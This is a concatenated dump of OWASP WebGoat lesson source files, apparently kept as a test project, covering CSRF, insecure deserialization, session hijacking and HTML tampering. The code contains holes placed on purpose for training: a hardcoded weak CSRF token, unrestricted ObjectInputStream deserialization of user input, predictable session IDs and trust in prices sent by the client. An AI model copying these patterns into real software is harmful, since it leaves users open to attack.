userTrackerRepository.findByUser(username); userTracker.assignmentSolved( getWebSession().getCurrentLesson(), this.getClass().getSimpleName()); userTrackerRepository.save(userTracker); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.csrf; import static org.springframework.http.MediaType.ALL_VALUE; import com.google.common.collect.Lists; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.util.ArrayList; import java.util.Collection; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"csrf-review-hint1", "csrf-review-hint2", "csrf-review-hint3"}) public class ForgedReviews extends AssignmentEndpoint { @Autowired private WebSession webSession; private static DateTimeFormatter fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd, HH:mm:ss"); private static final Map> userReviews = new HashMap<>(); private static final List REVIEWS = new ArrayList<>(); private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9"; static { REVIEWS.add( new Review("secUriTy", LocalDateTime.now().format(fmt), "This is like swiss cheese", 0)); REVIEWS.add(new Review("webgoat", LocalDateTime.now().format(fmt), "It works, sorta", 2)); REVIEWS.add(new Review("guest", LocalDateTime.now().format(fmt), "Best, App, Ever", 5)); REVIEWS.add( new Review( "guest", LocalDateTime.now().format(fmt), "This app is so insecure, I didn't even post this review, can you pull that off too?", 1)); } @GetMapping( path = "/csrf/review", produces = MediaType.APPLICATION_JSON_VALUE, consumes = ALL_VALUE) @ResponseBody public Collection retrieveReviews() { Collection allReviews = Lists.newArrayList(); Collection newReviews = userReviews.get(webSession.getUserName()); if (newReviews != null) { allReviews.addAll(newReviews); } allReviews.addAll(REVIEWS); return allReviews; } @PostMapping("/csrf/review") @ResponseBody public AttackResult createNewReview( String reviewText, Integer stars, String validateReq, HttpServletRequest request) { final String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host"); final String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer"); final String[] refererArr = referer.split("/"); Review review = new Review(); review.setText(reviewText); review.setDateTime(LocalDateTime.now().format(fmt)); review.setUser(webSession.getUserName()); review.setStars(stars); var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>()); reviews.add(review); userReviews.put(webSession.getUserName(), reviews); // short-circuit if (validateReq == null || !validateReq.equals(weakAntiCSRF)) { return failed(this).feedback("csrf-you-forgot-something").build(); } // we have the spoofed files if (referer != "NULL" && refererArr[2].equals(host)) { return failed(this).feedback("csrf-same-host").build(); } else { return success(this) .feedback("csrf-review.success") .build(); // feedback("xss-stored-comment-failure") } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.csrf; import javax.xml.bind.annotation.XmlRootElement; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; /** * @author nbaars * @since 4/8/17. */ @Getter @Setter @AllArgsConstructor @NoArgsConstructor @XmlRootElement public class Review { private String user; private String dateTime; private String text; private Integer stars; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java ================================================ package org.owasp.webgoat.lessons.deserialization; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since October 12, 2016 */ @Component public class InsecureDeserialization extends Lesson { @Override public Category getDefaultCategory() { return Category.A8; } @Override public String getTitle() { return "insecure-deserialization.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.deserialization; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InvalidClassException; import java.io.ObjectInputStream; import java.util.Base64; import org.dummy.insecure.framework.VulnerableTaskHolder; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3" }) public class InsecureDeserializationTask extends AssignmentEndpoint { @PostMapping("/InsecureDeserialization/task") @ResponseBody public AttackResult completed(@RequestParam String token) throws IOException { String b64token; long before; long after; int delay; b64token = token.replace('-', '+').replace('_', '/'); try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) { before = System.currentTimeMillis(); Object o = ois.readObject(); if (!(o instanceof VulnerableTaskHolder)) { if (o instanceof String) { return failed(this).feedback("insecure-deserialization.stringobject").build(); } return failed(this).feedback("insecure-deserialization.wrongobject").build(); } after = System.currentTimeMillis(); } catch (InvalidClassException e) { return failed(this).feedback("insecure-deserialization.invalidversion").build(); } catch (IllegalArgumentException e) { return failed(this).feedback("insecure-deserialization.expired").build(); } catch (Exception e) { return failed(this).feedback("insecure-deserialization.invalidversion").build(); } delay = (int) (after - before); if (delay > 7000) { return failed(this).build(); } if (delay < 3000) { return failed(this).build(); } return success(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java ================================================ package org.owasp.webgoat.lessons.deserialization; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; public class SerializationHelper { private static final char[] hexArray = "0123456789ABCDEF".toCharArray(); public static Object fromString(String s) throws IOException, ClassNotFoundException { byte[] data = Base64.getDecoder().decode(s); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); Object o = ois.readObject(); ois.close(); return o; } public static String toString(Serializable o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); return Base64.getEncoder().encodeToString(baos.toByteArray()); } public static String show() throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(baos); dos.writeLong(-8699352886133051976L); dos.close(); byte[] longBytes = baos.toByteArray(); return bytesToHex(longBytes); } public static String bytesToHex(byte[] bytes) { char[] hexChars = new char[bytes.length * 2]; for (int j = 0; j < bytes.length; j++) { int v = bytes[j] & 0xFF; hexChars[j * 2] = hexArray[v >>> 4]; hexChars[j * 2 + 1] = hexArray[v & 0x0F]; } return new String(hexChars); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source * ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.hijacksession; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /*** * * @author Angel Olle Blazquez * */ @Component public class HijackSession extends Lesson { @Override public Category getDefaultCategory() { return Category.A1; } @Override public String getTitle() { return "hijacksession.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.hijacksession; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.hijacksession.cas.Authentication; import org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /*** * * @author Angel Olle Blazquez * */ @RestController @AssignmentHints({ "hijacksession.hints.1", "hijacksession.hints.2", "hijacksession.hints.3", "hijacksession.hints.4", "hijacksession.hints.5" }) public class HijackSessionAssignment extends AssignmentEndpoint { private static final String COOKIE_NAME = "hijack_cookie"; @Autowired HijackSessionAuthenticationProvider provider; @PostMapping(path = "/HijackSession/login") @ResponseBody public AttackResult login( @RequestParam String username, @RequestParam String password, @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, HttpServletResponse response) { Authentication authentication; if (StringUtils.isEmpty(cookieValue)) { authentication = provider.authenticate( Authentication.builder().name(username).credentials(password).build()); setCookie(response, authentication.getId()); } else { authentication = provider.authenticate(Authentication.builder().id(cookieValue).build()); } if (authentication.isAuthenticated()) { return success(this).build(); } return failed(this).build(); } private void setCookie(HttpServletResponse response, String cookieValue) { Cookie cookie = new Cookie(COOKIE_NAME, cookieValue); cookie.setPath("/WebGoat"); cookie.setSecure(true); response.addCookie(cookie); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/Authentication.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source * ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.hijacksession.cas; import java.security.Principal; import lombok.Builder; import lombok.Getter; import lombok.ToString; /** * @author Angel Olle Blazquez */ @Getter @ToString public class Authentication implements Principal { private boolean authenticated = false; private String name; private Object credentials; private String id; @Builder public Authentication(String name, Object credentials, String id) { this.name = name; this.credentials = credentials; this.id = id; } @Override public String getName() { return name; } protected void setAuthenticated(boolean authenticated) { this.authenticated = authenticated; } protected void setId(String id) { this.id = id; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/AuthenticationProvider.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source * ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.hijacksession.cas; import java.security.Principal; /** * @author Angel Olle Blazquez */ @FunctionalInterface public interface AuthenticationProvider { T authenticate(T t); } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source * ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.hijacksession.cas; import java.time.Instant; import java.util.LinkedList; import java.util.Queue; import java.util.Random; import java.util.concurrent.ThreadLocalRandom; import java.util.function.DoublePredicate; import java.util.function.Supplier; import org.apache.commons.lang3.StringUtils; import org.springframework.stereotype.Component; import org.springframework.web.context.annotation.ApplicationScope; /** * @author Angel Olle Blazquez */ // weak id value and mechanism @ApplicationScope @Component public class HijackSessionAuthenticationProvider implements AuthenticationProvider { private Queue sessions = new LinkedList<>(); private static long id = new Random().nextLong() & Long.MAX_VALUE; protected static final int MAX_SESSIONS = 50; private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75; private static final Supplier GENERATE_SESSION_ID = () -> ++id + "-" + Instant.now().toEpochMilli(); public static final Supplier AUTHENTICATION_SUPPLIER = () -> Authentication.builder().id(GENERATE_SESSION_ID.get()).build(); @Override public Authentication authenticate(Authentication authentication) { if (authentication == null) { return AUTHENTICATION_SUPPLIER.get(); } if (StringUtils.isNotEmpty(authentication.getId()) && sessions.contains(authentication.getId())) { authentication.setAuthenticated(true); return authentication; } if (StringUtils.isEmpty(authentication.getId())) { authentication.setId(GENERATE_SESSION_ID.get()); } authorizedUserAutoLogin(); return authentication; } protected void authorizedUserAutoLogin() { if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) { Authentication authentication = AUTHENTICATION_SUPPLIER.get(); authentication.setAuthenticated(true); addSession(authentication.getId()); } } protected boolean addSession(String sessionId) { if (sessions.size() >= MAX_SESSIONS) { sessions.remove(); } return sessions.add(sessionId); } protected int getSessionsSize() { return sessions.size(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java ================================================ package org.owasp.webgoat.lessons.htmltampering; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since October 12, 2016 */ @Component public class HtmlTampering extends Lesson { @Override public Category getDefaultCategory() { return Category.CLIENT_SIDE; } @Override public String getTitle() { return "html-tampering.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.htmltampering; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"hint1", "hint2", "hint3"}) public class HtmlTamperingTask extends AssignmentEndpoint { @PostMapping("/HtmlTampering/task") @ResponseBody public AttackResult completed(@RequestParam String QTY, @RequestParam String Total) { if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) { return success(this).feedback("html-tampering.tamper.success").build(); } return failed(this).feedback("html-tampering.tamper.failure").build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.httpbasics; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class HttpBasics extends Lesson { @Override public Category getDefaultCategory() { return Category.GENERAL; } @Override public String getTitle() { return "1.http-basics.title"; // first lesson in general } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.httpbasics; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"http-basics.hints.http_basics_lesson.1"}) public class HttpBasicsLesson extends AssignmentEndpoint { @PostMapping("/HttpBasics/attack1") @ResponseBody public AttackResult completed(@RequestParam String person) { if (!person.isBlank()) { return success(this) .feedback("http-basics.reversed") .feedbackArgs(new StringBuilder(person).reverse().toString()) .build(); } else { return failed(this).feedback("http-basics.empty").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.httpbasics; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AssignmentPath; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"http-basics.hints.http_basic_quiz.1", "http-basics.hints.http_basic_quiz.2"}) @AssignmentPath("HttpBasics/attack2") public class HttpBasicsQuiz extends AssignmentEndpoint { @PostMapping("/HttpBasics/attack2") @ResponseBody public AttackResult completed( @RequestParam String answer, @RequestParam String magic_answer, @RequestParam String magic_num) { if ("POST".equalsIgnoreCase(answer) && magic_answer.equals(magic_num)) { return success(this).build(); } else { if (!"POST".equalsIgnoreCase(answer)) { return failed(this).feedback("http-basics.incorrect").build(); } if (!magic_answer.equals(magic_num)) { return failed(this).feedback("http-basics.magic").build(); } } return failed(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.httpproxies; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.HttpMethod; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class HttpBasicsInterceptRequest extends AssignmentEndpoint { @RequestMapping( path = "/HttpProxies/intercept-request", method = {RequestMethod.POST, RequestMethod.GET}) @ResponseBody public AttackResult completed( @RequestHeader(value = "x-request-intercepted", required = false) Boolean headerValue, @RequestParam(value = "changeMe", required = false) String paramValue, HttpServletRequest request) { if (HttpMethod.POST.matches(request.getMethod())) { return failed(this).feedback("http-proxies.intercept.failure").build(); } if (headerValue != null && paramValue != null && headerValue && "Requests are tampered easily".equalsIgnoreCase(paramValue)) { return success(this).feedback("http-proxies.intercept.success").build(); } else { return failed(this).feedback("http-proxies.intercept.failure").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java ================================================ package org.owasp.webgoat.lessons.httpproxies; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

